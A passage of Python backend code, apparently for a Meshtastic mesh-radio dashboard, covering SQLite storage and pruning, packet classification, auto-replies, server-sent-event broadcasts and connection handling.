                    d[f] = json.loads(d[f]) if d[f] else {}
                except Exception:
                    d[f] = {}
            for old_key, new_key in rename_map.items():
                d[new_key] = d.pop(old_key)
            nodes[d["node_id"]] = d
        return nodes

    def get_recent_packets(self, limit: int = 100) -> List[Dict]:
        conn = self._get_connection()
        rows = conn.execute(
            "SELECT * FROM packets ORDER BY timestamp DESC LIMIT ?", (limit,)
        ).fetchall()
        res = []
        for r in rows:
            d = dict(r)
            if d.get("decoded"):
                try:
                    d["decoded"] = json.loads(d["decoded"])
                except Exception:
                    pass
            if d.get("raw"):
                try:
                    d["raw"] = json.loads(d["raw"])
                except Exception:
                    pass
            res.append(d)
        return res

    def get_messages(
        self,
        from_id=None,
        to_id=None,
        channel=None,
        start=None,
        end=None,
        limit=100,
    ) -> List[Dict]:
        q = "SELECT * FROM messages WHERE 1=1"
        p = []
        if from_id:
            q += " AND from_id = ?"
            p.append(from_id)
        if to_id:
            q += " AND to_id = ?"
            p.append(to_id)
        if channel is not None:
            if not to_id or to_id == "^all":
                q += " AND channel = ?"
                p.append(channel)
        if start:
            q += " AND timestamp >= ?"
            p.append(start)
        if end:
            q += " AND timestamp <= ?"
            p.append(end)
        q += " ORDER BY timestamp DESC LIMIT ?"
        p.append(limit)
        conn = self._get_connection()
        rows = conn.execute(q, p).fetchall()
        return [dict(r) for r in rows]

    def count_node_items(self, node_id, item_type, start=None, end=None) -> int:
        table = {"messages_sent": "messages", "positions": "positions", "telemetry": "telemetry"}.get(item_type)
        if not table:
            return -1
        col = "from_id" if item_type == "messages_sent" else "node_id"
        q = f"SELECT COUNT(*) FROM {table} WHERE 1=1"
        p = []
        if node_id:
            q += f" AND {col} = ?"
            p.append(node_id)
        if start:
            q += " AND timestamp >= ?"
            p.append(start)
        if end:
            q += " AND timestamp <= ?"
            p.append(end)
        conn = self._get_connection()
        return conn.execute(q, p).fetchone()[0]

    def calculate_and_save_average_metrics(self):
        conn = self._get_connection()
        row = conn.execute(
            "SELECT ROUND(AVG(snr), 2) as avg_snr, ROUND(AVG(rssi), 1) as avg_rssi, COUNT(*) as cnt "
            "FROM nodes WHERE snr IS NOT NULL AND rssi IS NOT NULL AND is_local = FALSE"
        ).fetchone()
        if not row or row["cnt"] == 0:
            return
        conn.execute(
            "INSERT INTO average_metrics_history (timestamp, average_snr, average_rssi, node_count) VALUES (?, ?, ?, ?)",
            (time.time(), row["avg_snr"], row["avg_rssi"], row["cnt"]),
        )
        conn.commit()

    def get_most_recent_average_metrics(self) -> Optional[Dict]:
        conn = self._get_connection()
        r = conn.execute(
            "SELECT * FROM average_metrics_history ORDER BY timestamp DESC LIMIT 1"
        ).fetchone()
        return dict(r) if r else None

    def get_average_metrics_history(self, limit=100) -> List[Dict]:
        conn = self._get_connection()
        return [
            dict(r)
            for r in conn.execute(
                "SELECT * FROM average_metrics_history ORDER BY timestamp DESC LIMIT ?", (limit,)
            ).fetchall()
        ]

    def prune_old_data(self, max_age_days: int):
        """Deletes old data in batches to avoid long locks, then checkpoints WAL."""
        cutoff = time.time() - (max_age_days * 86400)
        logger.info(f"🧹 Database Maintenance: Pruning data older than {max_age_days * 24} hours...")
        try:
            conn = self._get_connection()
            total_deleted = 0
            for table in ["average_metrics_history", "packets", "messages", "telemetry",
                           "positions", "connection_log"]:
                # Delete in batches of 5000 to avoid long-held locks
                while True:
                    cursor = conn.execute(
                        f"DELETE FROM {table} WHERE rowid IN "
                        f"(SELECT rowid FROM {table} WHERE timestamp < ? LIMIT 5000)",
                        (cutoff,)
                    )
                    batch = cursor.rowcount
                    conn.commit()
                    total_deleted += batch
                    if batch < 5000:
                        break
            # Checkpoint WAL without full VACUUM (VACUUM rewrites entire DB and locks it)
            conn.execute("PRAGMA wal_checkpoint(TRUNCATE);")
            logger.info(f"✅ Database maintenance complete. Deleted {total_deleted} old rows.")
        except Exception as e:
            logger.error(f"❌ Database maintenance failed: {e}")

    def log_connection_status(self, status_str: str):
        val = (
            0.9 if status_str == "Connected"
            else (0.5 if "init" in status_str.lower() or "wait" in status_str.lower() else 0.1)
        )
        try:
            conn = self._get_connection()
            conn.execute(
                "INSERT INTO connection_log (timestamp, status, value) VALUES (?, ?, ?)",
                (time.time(), status_str, val),
            )
            conn.commit()
        except Exception as e:
            logger.error(f"DB Error log_connection_status: {e}")

    def get_connection_history(self, limit=100):
        conn = self._get_connection()
        rows = conn.execute(
            "SELECT timestamp, value, status FROM connection_log ORDER BY timestamp DESC LIMIT ?",
            (limit,),
        ).fetchall()
        return [dict(r) for r in reversed(rows)]

    def get_node_history(self, node_id, table, start=None, end=None, limit=1000):
        if table not in ["positions", "telemetry"]:
            return []
        q = f"SELECT * FROM {table} WHERE node_id = ?"
        p = [node_id]
        if start:
            q += " AND timestamp >= ?"
            p.append(start)
        if end:
            q += " AND timestamp <= ?"
            p.append(end)
        q += " ORDER BY timestamp DESC LIMIT ?"
        p.append(limit)
        conn = self._get_connection()
        return [dict(r) for r in conn.execute(q, p).fetchall()]

    def save_neighbors(self, node_id: str, neighbors_list: list):
        try:
            conn = self._get_connection()
            for n in neighbors_list:
                n_id_int = n.get("nodeId")
                if not n_id_int:
                    continue
                neighbor_hex = f"!{n_id_int:08x}"
                conn.execute(
                    """INSERT OR REPLACE INTO neighbors
                    (node_id, neighbor_id, snr, last_seen)
                    VALUES (?, ?, ?, CURRENT_TIMESTAMP)""",
                    (node_id, neighbor_hex, n.get("snr")),
                )
            conn.commit()
        except Exception as e:
            logging.error(f"DB Error save_neighbors: {e}")

    def save_traceroute(self, from_id: str, to_id: str, route_list: list, timestamp: float):
        try:
            route_hex = [f"!{r:08x}" for r in route_list] if route_list else []
            conn = self._get_connection()
            conn.execute(
                "INSERT INTO traceroutes (from_id, to_id, route_path, timestamp) VALUES (?, ?, ?, ?)",
                (from_id, to_id, json.dumps(route_hex), timestamp),
            )
            conn.commit()
        except Exception as e:
            logging.error(f"DB Error save_traceroute: {e}")

    def save_waypoint(self, from_id: str, wp: dict, timestamp: float):
        try:
            conn = self._get_connection()
            conn.execute(
                """INSERT OR REPLACE INTO waypoints
                (from_id, waypoint_id, name, latitude, longitude, description, timestamp)
                VALUES (?, ?, ?, ?, ?, ?, ?)""",
                (
                    from_id,
                    wp.get("id", 0),
                    wp.get("name"),
                    wp.get("latitude", 0) / 1e7 if wp.get("latitude") else 0,
                    wp.get("longitude", 0) / 1e7 if wp.get("longitude") else 0,
                    wp.get("description"),
                    timestamp,
                ),
            )
            conn.commit()
        except Exception as e:
            logging.error(f"DB Error save_waypoint: {e}")

    def log_hardware_event(self, node_id: str, event_type: str, details: Any, timestamp: float):
        try:
            conn = self._get_connection()
            conn.execute(
                "INSERT INTO hardware_logs (node_id, event_type, details, timestamp) VALUES (?, ?, ?, ?)",
                (
                    node_id,
                    event_type,
                    json.dumps(details) if isinstance(details, (dict, list)) else str(details),
                    timestamp,
                ),
            )
            conn.commit()
        except Exception as e:
            logging.error(f"DB Error log_hardware_event: {e}")

    def get_neighbors(self, limit=500):
        conn = self._get_connection()
        return [
            dict(r)
            for r in conn.execute("SELECT * FROM neighbors ORDER BY last_seen DESC LIMIT ?", (limit,)).fetchall()
        ]

    def get_traceroutes(self, limit=100):
        conn = self._get_connection()
        rows = conn.execute(
            "SELECT * FROM traceroutes ORDER BY timestamp DESC LIMIT ?", (limit,)
        ).fetchall()
        res = []
        for r in rows:
            d = dict(r)
            try:
                d["route_path"] = json.loads(d["route_path"])
            except Exception:
                pass
            res.append(d)
        return res

    def get_waypoints(self, limit=500):
        conn = self._get_connection()
        return [dict(r) for r in conn.execute("SELECT * FROM waypoints ORDER BY timestamp DESC LIMIT ?", (limit,)).fetchall()]

    def get_hardware_logs(self, limit=100):
        conn = self._get_connection()
        return [
            dict(r)
            for r in conn.execute(
                "SELECT * FROM hardware_logs ORDER BY timestamp DESC LIMIT ?", (limit,)
            ).fetchall()
        ]


db_manager = DatabaseManager(DB_PATH)

# ---------------------------------------------------------------------------
# In-memory data store
# ---------------------------------------------------------------------------

class MeshtasticData:
    def __init__(self, db: DatabaseManager, max_packets: int):
        self.db = db
        self.packets: deque = deque(maxlen=max_packets)
        self.nodes: Dict[str, Dict] = self.db.get_all_nodes()
        self.local_node_id: Optional[str] = None
        self.local_node_info: Optional[Dict] = None
        self.connection_status: str = "Initializing"
        self.last_error: Optional[str] = None
        self.channel_map: Dict = {}
        self.stats: Dict = {
            "packets_received_session": 0,
            "text_messages_session": 0,
            "position_updates_session": 0,
            "telemetry_reports_session": 0,
            "user_info_updates_session": 0,
            "waypoint_updates_session": 0,
            "other_packets_session": 0,
            "start_time": time.time(),
            "nodes_seen_session": set(self.nodes.keys()),
            "channels_seen_session": set(),
        }
        self.packet_counter: int = 0

    def add_packet(self, packet: Dict) -> Optional[Dict]:
        if not packet or not isinstance(packet, dict):
            return None
        processed = packet.copy()
        if "decoded" not in processed or not isinstance(processed["decoded"], dict):
            processed["decoded"] = {}
        if "id" in processed:
            processed["decoded"]["mesh_packet_id"] = processed["id"]

        processed["rxTime"] = processed.get("rxTime", int(time.time()))
        processed["timestamp"] = float(processed["rxTime"])
        if not processed.get("event_id"):
            processed["event_id"] = f"pkt_{time.time_ns()}_{self.packet_counter}"
        self.packet_counter += 1

        if "fromId" not in processed:
            val = processed.get("from")
            if val is not None:
                processed["fromId"] = f"!{val:08x}" if isinstance(val, int) else str(val)

        if "toId" not in processed:
            val = processed.get("to")
            if val is not None:
                if isinstance(val, int):
                    processed["toId"] = "^all" if val == 4294967295 else f"!{val:08x}"
                else:
                    processed["toId"] = str(val)

        if "original_channel_id" not in processed:
            processed["original_channel_id"] = processed.get("channel")
        if processed.get("channel") is None:
            processed["channel"] = 0

        if "rxSnr" in processed:
            processed["decoded"]["_snr"] = processed["rxSnr"]
        if "rxRssi" in processed:
            processed["decoded"]["_rssi"] = processed["rxRssi"]
        if "hopLimit" in processed:
            processed["decoded"]["_hopLimit"] = processed["hopLimit"]

        ptype, payload = self._classify(processed)
        processed["app_packet_type"] = ptype

        self.stats["packets_received_session"] += 1
        if processed.get("fromId"):
            self.stats["nodes_seen_session"].add(processed["fromId"])
        if processed.get("channel") is not None:
            self.stats["channels_seen_session"].add(processed["channel"])

        processed = ensure_serializable(processed)
        self.packets.append(processed)
        
        # Prevent database bloat by ignoring background network noise
        junk_packet_types = ["Ack", "Routing Error", "Encrypted", "Unknown"]
        if ptype not in junk_packet_types and not str(ptype).startswith("Raw:"):
            self.db.save_packet(processed)

        if processed.get("fromId"):
            sender = processed["fromId"]
            timestamp = processed["rxTime"]
            update: Dict = {
                "lastHeard": timestamp,
                "snr": processed.get("rxSnr"),
                "rssi": processed.get("rxRssi"),
            }
            if ptype == "Position" and payload:
                update["position"] = payload
                update["position_time"] = timestamp
            elif ptype == "Telemetry" and payload:
                if isinstance(payload, dict):
                    if payload.get("deviceMetrics"):
                        update["deviceMetrics"] = payload["deviceMetrics"]
                    if payload.get("environmentMetrics"):
                        update["environmentMetrics"] = payload["environmentMetrics"]
                update["telemetry_time"] = timestamp
            elif ptype == "Node Info" and isinstance(payload, dict):
                update["user"] = payload
                if "hwModel" in payload:
                    update["hw_model"] = payload["hwModel"]
                if "role" in payload:
                    update["role"] = payload["role"]
            elif ptype == "Neighbor Info" and isinstance(payload, list):
                self.db.save_neighbors(sender, payload)
            elif ptype == "Traceroute" and isinstance(payload, dict):
                route = payload.get("route", [])
                self.db.save_traceroute(sender, processed.get("toId", ""), route, timestamp)
            elif ptype == "Waypoint" and isinstance(payload, dict):
                self.db.save_waypoint(sender, payload, timestamp)
            elif ptype == "Admin" and isinstance(payload, dict):
                self.db.log_hardware_event(sender, "Admin", payload, timestamp)
            self.update_node(sender, update, broadcast=True)

        return processed

    def _classify(self, packet: Dict) -> Tuple[str, Any]:
        """Comprehensive packet classifier & extractor."""
        decoded = packet.get("decoded", {})
        if not isinstance(decoded, dict):
            return ("Encrypted" if packet.get("encrypted") else "Unknown"), "Raw Binary"

        pn = decoded.get("portnum")
        port_name = "UNKNOWN_APP"
        if isinstance(pn, int):
            try:
                port_name = portnums_pb2.PortNum.Name(pn)
            except ValueError:
                port_name = "PRIVATE_APP" if pn >= 256 else f"APP_{pn}"
        elif hasattr(pn, "name"):
            port_name = pn.name
        else:
            port_name = str(pn)

        def get_text(d):
            return d.get("text") or d.get("payload") or d.get("message") or d.get("string")

        if port_name == "TEXT_MESSAGE_APP":
            return "Message", get_text(decoded)
        if port_name == "POSITION_APP" or "position" in decoded:
            return "Position", decoded.get("position", {})
        if port_name == "TELEMETRY_APP" or "telemetry" in decoded:
            return "Telemetry", decoded.get("telemetry", {})
        if port_name == "NODEINFO_APP" or "user" in decoded:
            return "Node Info", decoded.get("user", {})
        if port_name == "NEIGHBOR_INFO_APP" or "neighbor" in decoded:
            return "Neighbor Info", decoded.get("neighbor", {}).get("neighbors", [])
        if port_name == "TRACEROUTE_APP" or "routeDiscovery" in decoded:
            return "Traceroute", decoded.get("routeDiscovery", {})
        if port_name == "ROUTING_APP":
            req_id = decoded.get("requestId")
            err = decoded.get("errorReason", "NONE")
            if err != "NONE":
                return "Routing Error", f"Reason: {err} (ReqID: {req_id})"
            return "Ack", f"Acknowledgment (ReqID: {req_id})"
        if port_name == "PAXCOUNTER_APP":
            pax = decoded.get("paxcounter", {})
            wifi = pax.get("wifi", 0)
            ble = pax.get("ble", 0)
            return "Paxcounter", {"wifi": wifi, "ble": ble, "total": wifi + ble}
        if port_name == "DETECTION_SENSOR_APP":
            return "Detection", decoded.get("detection", {})
        if port_name == "RANGE_TEST_APP":
            return "Range Test", {"seq": decoded.get("seqNumber"), "src": decoded.get("payload"), "snr": packet.get("rxSnr")}
        if port_name == "SERIAL_APP":
            return "Serial", f"Binary Payload ({len(decoded.get('payload', ''))} bytes)"
        if port_name == "STORE_FORWARD_APP":
            return "Store & Forward", f"History Stats: {decoded.get('history', {}).get('stats', {})}"
        if port_name == "WAYPOINT_APP" or "waypoint" in decoded:
            return "Waypoint", decoded.get("waypoint", {})
        if port_name == "ADMIN_APP" or "admin" in decoded:
            return "Admin", decoded.get("admin", {})

        txt = get_text(decoded)
        if txt and isinstance(txt, str) and len(txt) > 0:
            return "Message", txt

        try:
            return f"Raw: {port_name}", json.dumps(decoded, default=str)
        except Exception:
            return f"Raw: {port_name}", str(decoded)

    def update_node(self, node_id: str, data: Dict, broadcast: bool = False):
        if node_id not in self.nodes:
            self.nodes[node_id] = {"node_id": node_id}

        def merge(target, source):
            for k, v in source.items():
                if isinstance(v, dict) and k in target and isinstance(target[k], dict):
                    merge(target[k], v)
                else:
                    target[k] = v

        merge(self.nodes[node_id], ensure_serializable(data))

        if node_id.startswith("!") and "node_num" not in self.nodes[node_id]:
            try:
                self.nodes[node_id]["node_num"] = int(node_id[1:], 16)
            except Exception:
                pass

        self.nodes[node_id]["isLocal"] = node_id == self.local_node_id

        db_data = self.nodes[node_id].copy()
        if "channelSettings" not in db_data and "channels" in db_data:
            db_data["channelSettings"] = db_data["channels"]
        self.db.save_node(node_id, db_data)

        if broadcast and main_event_loop:
            asyncio.run_coroutine_threadsafe(
                broadcast_data({"event": "node_update", "data": self.nodes[node_id]}),
                main_event_loop,
            )

    def set_local_node_info(self, info):
        if not info:
            self.local_node_id = None
            self.local_node_info = None
            self.channel_map.clear()
            if main_event_loop:
                asyncio.run_coroutine_threadsafe(
                    broadcast_data({"event": "local_node_info", "data": {}}),
                    main_event_loop,
                )
            return

        try:
            nid = f"!{info.my_node_num:08x}"
            self.local_node_id = nid

            chans = []
            if (
                connection_manager
                and hasattr(connection_manager, "interface")
                and connection_manager.interface
                and hasattr(connection_manager.interface, "localNode")
                and connection_manager.interface.localNode
                and hasattr(connection_manager.interface.localNode, "channels")
            ):
                chans = connection_manager.interface.localNode.channels

            if not chans:
                chans = getattr(info, "channels", []) or []
            if not isinstance(chans, list):
                chans = []

            logger.info(f"📡 Found {len(chans)} channels on local node")
            self.channel_map.clear()
            processed_channels = []

            for c in chans:
                try:
                    idx = getattr(c, "index", None)
                    if idx is None:
                        continue
                    settings = getattr(c, "settings", None)
                    if not settings:
                        continue
                    channel_data = {
                        "index": idx,
                        "role": str(getattr(c, "role", "DISABLED")),
                        "settings": {
                            "name": getattr(settings, "name", f"Channel {idx}"),
                            "psk": (
                                base64.b64encode(getattr(settings, "psk", b"")).decode("utf-8")
                                if hasattr(settings, "psk") else ""
                            ),
                            "channel_num": getattr(settings, "channel_num", idx),
                            "id": getattr(settings, "id", 0),
                            "uplink_enabled": getattr(settings, "uplink_enabled", False),
                            "downlink_enabled": getattr(settings, "downlink_enabled", False),
                        },
                    }
                    processed_channels.append(channel_data)
                    channel_id = getattr(settings, "id", None)
                    if channel_id is not None:
                        self.channel_map[channel_id] = idx
                except Exception as e:
                    logger.warning(f"Failed to process channel: {e}")

            chans = processed_channels
            logger.info(f"✅ Processed {len(chans)} valid channels")

            local_config = None
            if (
                connection_manager
                and hasattr(connection_manager, "interface")
                and connection_manager.interface
                and hasattr(connection_manager.interface, "localNode")
            ):
                local_node = connection_manager.interface.localNode
                local_config = getattr(local_node, "localConfig", None)

            node_data = {
                "node_id": nid,
                "node_num": info.my_node_num,
                "isLocal": True,
                "hw_model": getattr(info, "hw_model_str", getattr(info, "hw_model", None)),
                "firmware_version": getattr(info, "firmware_version", None),
                "role": str(getattr(info, "role", None)),
                "user": ensure_serializable(getattr(info, "user", {})),
                "position": ensure_serializable(getattr(info, "position", {})),
                "deviceMetrics": ensure_serializable(getattr(info, "device_metrics", {})),
            }
            self.update_node(nid, node_data, broadcast=False)

            self.local_node_info = {
                "node_id": nid,
                "node_num": info.my_node_num,
                "node_id_hex": f"!{info.my_node_num:08x}",
                "hardware_model": str(getattr(info, "hw_model", "Unknown")),
                "hardware_model_string": getattr(info, "hw_model_str", "Unknown"),
                "firmware_version": getattr(info, "firmware_version", "Unknown"),
                "long_name": node_data["user"].get("longName", "Unknown"),
                "short_name": node_data["user"].get("shortName", "N/A"),
                "macaddr": node_data["user"].get("macaddr", "Unknown"),
                "role": str(getattr(info, "role", "Unknown")),
                "region": str(getattr(info, "region", "Unknown")),
                "max_channels": getattr(info, "max_channels", 0),
                "latitude": node_data["position"].get("latitude"),
                "longitude": node_data["position"].get("longitude"),
                "altitude": node_data["position"].get("altitude"),
                "battery_level": node_data["deviceMetrics"].get("batteryLevel"),
                "voltage": node_data["deviceMetrics"].get("voltage"),
                "lora_region": (
                    str(local_config.lora.region)
                    if local_config and hasattr(local_config, "lora") else None
                ),
                "lora_hop_limit": (
                    local_config.lora.hop_limit
                    if local_config and hasattr(local_config, "lora") else None
                ),
                "channels_json": json.dumps(ensure_serializable(chans)),
                "channel_count": len(chans),
                "nodedb_count": getattr(info, "nodedb_count", len(self.nodes)),
                "last_updated": time.time(),
            }

            if main_event_loop:
                asyncio.run_coroutine_threadsafe(
                    broadcast_data({"event": "local_node_info", "data": self.local_node_info}),
                    main_event_loop,
                )
            logger.info(f"✅ Set local node info for {nid} ({self.local_node_info.get('long_name')})")
        except Exception as e:
            logger.error(f"Error setting local info: {e}", exc_info=True)

    def set_connection_status(self, status_str: str):
        """Updates internal state and logs immediate event to DB."""
        self.connection_status = status_str
        
        # Log immediate change to DB so the graph reacts instantly
        self.db.log_connection_status(status_str)
        
        logger.info(f"🔌 Connection status changed to: {status_str}")
        
        if main_event_loop:
            try:
                asyncio.run_coroutine_threadsafe(
                    broadcast_data({"event": "connection_status", "data": status_str}),
                    main_event_loop,
                )
            except Exception as e:
                logger.error(f"Failed to broadcast connection status: {e}")

    def set_error(self, err: str):
        self.last_error = err
        if main_event_loop:
            asyncio.run_coroutine_threadsafe(
                broadcast_data({"event": "error", "data": err}), main_event_loop
            )

    def get_serializable_stats(self) -> Dict:
        s = self.stats.copy()
        s["nodes_seen_session"] = len(s["nodes_seen_session"])
        s["channels_seen_session"] = len(s["channels_seen_session"])
        s["elapsed_time_session"] = time.time() - s["start_time"]
        return ensure_serializable(s)

    def get_formatted_packets_from_memory(self, limit: int) -> List[Dict]:
        return list(reversed(list(self.packets)))[:limit]


meshtastic_data = MeshtasticData(db_manager, MAX_PACKETS_IN_MEMORY)
packet_queue: asyncio.Queue = asyncio.Queue()

# ---------------------------------------------------------------------------
# Packet processing worker
# ---------------------------------------------------------------------------

async def packet_processing_worker():
    """Consumer: handles DB writes, UI broadcasts, auto-replies."""
    logger.info("⚙️ Packet Processing Worker Started")
    while True:
        packet = await packet_queue.get()
        try:
            processed = await asyncio.to_thread(meshtastic_data.add_packet, packet)
            if processed:
                await broadcast_data({"event": "packet", "data": processed})
                await broadcast_stats()
                if AUTO_REPLY_ENABLED and processed.get("app_packet_type") == "Message":
                    sender = processed.get("fromId")
                    text = processed.get("decoded", {}).get("payload")
                    chan = processed.get("channel", 0)
                    if sender and text:
                        rules = await asyncio.to_thread(db_get_auto_reply_rules, only_enabled=True)
                        replies = check_message_for_auto_reply(text, sender, chan, rules)
                        for r in replies:
                            node_info = meshtastic_data.nodes.get(sender, {})
                            msg = replace_placeholders(r["message"], node_info)
                            logger.info(f"🤖 Auto-Replying to {sender}: {msg}")
                            if connection_manager:
                                await connection_manager.sendText(
                                    msg,
                                    destinationId=r["destination"],
                                    channelIndex=r.get("channel", 0),
                                )
        except Exception as e:
            logger.error(f"❌ Worker Error: {e}", exc_info=True)
        finally:
            packet_queue.task_done()

# ---------------------------------------------------------------------------
# Global state
# ---------------------------------------------------------------------------

background_tasks: Set = set()
connection_manager: Optional[MeshtasticConnectionManager] = None
main_event_loop: Optional[asyncio.AbstractEventLoop] = None
sse_queues: List[asyncio.Queue] = []
sse_queues_lock = asyncio.Lock()
sync_lock = asyncio.Lock()

# ---------------------------------------------------------------------------
# Pydantic request models
# ---------------------------------------------------------------------------

class MessageRequest(PydanticBaseModel):
    message: str
    destination: Optional[str] = None
    channel: int = 0


class URLRequest(PydanticBaseModel):
    url: str
    block_id: Optional[int] = None
    text_only: bool = False


class WebsiteMonitorRequest(PydanticBaseModel):
    url: str
    block_id: int
    prefix: str
    node_id: Optional[str] = None
    channel: int = 0


class ConsoleRequest(PydanticBaseModel):
    command: str

# ---------------------------------------------------------------------------
# SSE / broadcast helpers
# ---------------------------------------------------------------------------

async def send_system_message(text: str):
    await broadcast_data({"event": "system_update", "data": ensure_serializable({"message": text})})


def send_system_message_sync(text: str):
    if main_event_loop:
        asyncio.run_coroutine_threadsafe(send_system_message(text), main_event_loop)


async def broadcast_data(payload: Dict):
    json_str = json.dumps(ensure_serializable(payload["data"]))
    msg = {"event": payload["event"], "data": json_str}
    async with sse_queues_lock:
        if sse_queues:
            await asyncio.gather(*[q.put(msg) for q in sse_queues], return_exceptions=True)


async def broadcast_stats():
    await broadcast_data({"event": "stats", "data": meshtastic_data.get_serializable_stats()})

# ---------------------------------------------------------------------------
# Meshtastic callbacks
# ---------------------------------------------------------------------------

def on_fast_rx(packet, interface):
    if main_event_loop:
        main_event_loop.call_soon_threadsafe(
            lambda: asyncio.create_task(broadcast_data({"event": "activity", "data": "RX"}))
        )


def on_fast_tx(packet, interface):
    if main_event_loop:
        main_event_loop.call_soon_threadsafe(
            lambda: asyncio.create_task(broadcast_data({"event": "activity", "data": "TX"}))
        )


def on_receive(packet, interface):
    """Main packet handler - immediately logs then pushes to async queue."""
    try:
        try:
            decoded = packet.get("decoded", {})
            from_id = packet.get("fromId", packet.get("from", "Unknown"))
            to_id = packet.get("toId", packet.get("to", "Unknown"))
            portnum = decoded.get("portnum", "UNKNOWN")
            log_type = "OTHER"
            payload_str = "Raw Data"
            if portnum == "TEXT_MESSAGE_APP":
                log_type = "MSG"
                payload_str = decoded.get("text", decoded.get("payload", ""))
            elif portnum == "ROUTING_APP":
                log_type = "ACK"
                payload_str = f"Ack ReqID: {decoded.get('requestId')}"
            elif portnum == "POSITION_APP":
                log_type = "POS"
                pos = decoded.get("position", {})
                payload_str = f"Lat: {pos.get('latitude', 0):.4f}"
            elif portnum == "TELEMETRY_APP":
                log_type = "TLM"
                payload_str = "Telemetry Data"
            log_line = (
                f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] "
                f"[{log_type:<8}] {from_id} -> {to_id} | {payload_str}"
            )
            rx_logger.info(log_line)
        except Exception as log_e:
            logger.error(f"⚠️ RX Log Error: {log_e}")

        if main_event_loop:
            main_event_loop.call_soon_threadsafe(packet_queue.put_nowait, packet)
    except Exception as e:
        logger.error(f"❌ CRITICAL ERROR in on_receive: {e}", exc_info=True)


async def perform_background_sync(interface):
    """Background node database sync after connection established."""
    if sync_lock.locked():
        logger.info("⏳ Background sync already running - skipping duplicate.")
        return

    async with sync_lock:
        logger.info("🔄 Background Sync: Starting node database hydration...")
        await broadcast_data({"event": "sync_status", "data": {"is_syncing": True, "current": "Initializing..."}})
        await asyncio.sleep(2.0)

        synced = False
        current_nodes = []
        try:
            for attempt in range(10):
                if connection_manager and not connection_manager.is_ready.is_set():
                    logger.warning("🛑 Sync aborted - connection lost during sync.")
                    return

                current_nodes = list(interface.nodes.items()) if hasattr(interface, "nodes") else []
                if current_nodes:
                    await broadcast_data({
                        "event": "sync_status",
                        "data": {"is_syncing": True, "current": f"Syncing {len(current_nodes)} nodes..."},
                    })
                    count_ok = 0
                    for key, node_data in current_nodes:
                        if connection_manager and not connection_manager.is_ready.is_set():
                            logger.warning("🛑 Sync aborted mid-iteration - connection lost.")
                            return
                        try:
                            node_num = None
                            if isinstance(node_data, dict) and isinstance(node_data.get("num"), int):
                                node_num = node_data["num"]
                            elif isinstance(key, int):
                                node_num = key
                            elif isinstance(key, str) and key.startswith("!"):
                                try:
                                    node_num = int(key[1:], 16)
                                except ValueError:
                                    pass
                            if node_num is None:
                                continue
                            nid = f"!{node_num:08x}"
                            if isinstance(node_data, dict):
                                node_data["num"] = node_num
                            await asyncio.to_thread(meshtastic_data.update_node, nid, node_data, False)
                            count_ok += 1
                        except Exception as node_err:
                            logger.debug(f"Sync: skipped node {key}: {node_err}")

                    if count_ok > 0:
                        synced = True
                        logger.info(f"✅ Sync pass {attempt + 1}: wrote {count_ok} nodes.")
                        if attempt >= 1:
                            break
                await asyncio.sleep(1.0)

            if not synced or len(current_nodes) < 2:
                if (
                    connection_manager
                    and connection_manager.is_ready.is_set()
                    and hasattr(interface, "requestNodes")
                ):
                    logger.info("📡 Node list empty/small - requesting fresh NodeInfo.")
                    interface.requestNodes()
                    await send_system_message("📡 Requesting fresh NodeInfo from the mesh...")
        except Exception as exc:
            logger.error(f"❌ Background sync error: {exc}", exc_info=True)
        finally:
            await broadcast_data({"event": "sync_status", "data": {"is_syncing": False, "current": "Connected"}})
            logger.info("✅ Background Sync: Complete.")


def on_connection(interface, topic=pub.AUTO_TOPIC):
    """Connection event handler called by connection.py via PubSub."""
    tname = topic.getName() if hasattr(topic, "getName") else str(topic)
    logger.info(f"🔌 Connection Event: {tname}")

    if "established" in tname.lower():
        logger.info("✅ Transport link established.")
        try:
            if hasattr(interface, "myInfo") and interface.myInfo:
                meshtastic_data.set_local_node_info(interface.myInfo)
                my_node_id = f"!{interface.myInfo.my_node_num:08x}"
                hw = "Unknown"
                if hasattr(interface, "metadata") and interface.metadata:
                    hw = getattr(interface.metadata, "hw_model_str", "Unknown")
                send_system_message_sync(f"✅ <b>Link Up:</b> Node {my_node_id} online. HW: {hw}")
        except Exception as e:
            logger.error(f"Local hydration error in on_connection: {e}")

        if main_event_loop:
            asyncio.run_coroutine_threadsafe(perform_background_sync(interface), main_event_loop)
        else:
            logger.error("❌ main_event_loop not available for background sync.")

    elif "lost" in tname.lower():
        logger.warning("⚠️  Transport link lost event received.")
        send_system_message_sync("⚠️ <b>Link Down:</b> Radio disconnected - reconnecting...")


def on_node_updated(node, interface):
    if isinstance(node, dict) and "num" in node:
        nid = f"!{node['num']:08x}"
        meshtastic_data.update_node(nid, node, broadcast=True)

# ---------------------------------------------------------------------------
# Background periodic tasks
# ---------------------------------------------------------------------------

async def update_stats_periodically():
    while True:
        await asyncio.sleep(10)
        await broadcast_stats()

async def connection_heartbeat_worker():
    """
    Background task that logs the current connection status every 60 seconds.
    This ensures the graph shows a continuous status line.
    """
    logger.info("💓 Connection Heartbeat Worker Started")
    while True:
        await asyncio.sleep(60)
        try:
            # We pull the last state stored in meshtastic_data
            current_status = meshtastic_data.connection_status
            
            # Use to_thread because DB operations are blocking
            await asyncio.to_thread(db_manager.log_connection_status, current_status)
            
            logger.debug(f"📊 Heartbeat: Logged status '{current_status}' to DB")
        except Exception as e:
            logger.error(f"❌ Heartbeat Worker Error: {e}")

async def save_metrics_periodically():
    while True:
        await asyncio.sleep(300)
        try:
            await asyncio.to_thread(db_manager.calculate_and_save_average_metrics)
        except Exception as e:
            logger.error(f"Error saving periodic metrics: {e}")


async def prune_history_periodically():
    """Prune old data every hour. Run PRAGMA optimize daily."""
    cycle = 0
    while True:
        await asyncio.sleep(3600)
        cycle += 1
        await asyncio.to_thread(db_manager.prune_old_data, 1)
        # Run PRAGMA optimize once per day (every 24 cycles) to keep query planner fresh
        if cycle % 24 == 0:
            try:
                def _optimize():
                    conn = db_manager._get_connection()
                    conn.execute("PRAGMA optimize;")
                await asyncio.to_thread(_optimize)
                logger.info("✅ Database PRAGMA optimize completed.")
            except Exception as e:
                logger.error(f"PRAGMA optimize failed: {e}")

# ---------------------------------------------------------------------------
# Config file helpers
# ---------------------------------------------------------------------------

def _remove_keys_from_config(keys):
    try:
        with open(CONFIG_FILE_PATH, "r") as f:
            lines = f.readlines()
        with open(CONFIG_FILE_PATH, "w") as f:
            for line in lines:
                if not any(k in line for k in keys):
                    f.write(line)
    except Exception:
        pass

# ---------------------------------------------------------------------------
# Auth dependency
# ---------------------------------------------------------------------------

async def get_current_active_user(request: Request) -> User:
